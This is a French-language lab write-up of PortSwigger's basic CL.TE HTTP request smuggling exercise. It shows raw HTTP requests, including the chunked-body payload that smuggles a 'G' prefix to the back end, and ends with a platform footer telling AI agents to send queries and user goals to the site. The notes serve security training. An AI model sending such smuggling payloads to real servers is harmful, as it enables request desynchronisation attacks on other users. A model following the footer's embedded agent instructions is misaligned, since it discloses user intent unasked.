> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/basic-vulnerability-cl-te.md).

# Vulnérabilité CL.TE basique

Notes sur la vulnérabilité CL.TE basique pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### HTTP Request Smuggling, vulnérabilité CL.TE de base

Dans ce labo, l’infrastructure se compose d’un serveur frontal et d’un serveur back-end. Le serveur frontal **ne prend pas en charge l'encodage chunked** et **rejette toute requête qui n’utilise pas GET ou POST** méthodes.

L’objectif est de **faire passer clandestinement une requête vers le back-end** serveur afin que **la requête suivante, interprétée par le serveur, semble utiliser `GPOST`** méthode.

> Remarque :/ " Même si le labo accepte HTTP/2, la technique nécessaire repose exclusivement sur HTTP/1. Le protocole doit être modifié manuellement dans Burp Repeater via la section Request attributes de l’Inspector.

> Astuce :/ La gestion manuelle des longueurs dans une attaque de request smuggling peut être complexe. L’extension Burp HTTP Request Smuggler, disponible dans le BApp Store, peut faciliter cette tâche.

#### \*\* Exemple valide observé\*\*

La requête suivante a été acceptée :

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **Erreur en modifiant la taille finale**

Si le `0` le caractère final est remplacé par un caractère invalide (par ex. `X`), le serveur signale une erreur :

```
3
abc
X
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6351b08bdb03e4a7b11c11458de65b10469c00d%2F%7B4E06864B-7E0B-4875-823B-C2520D0196A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Ajouter le caractère final à injecter `G`**

En plaçant un `G` après le dernier bloc, vous pouvez préparer la requête contrefaite pour le back-end :

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c347602b8d07c71d6f500aefe311302a6c41ba25%2F%7B09FED763-5F56-49D0-9792-4171F40CDC3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/basic-vulnerability-cl-te.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
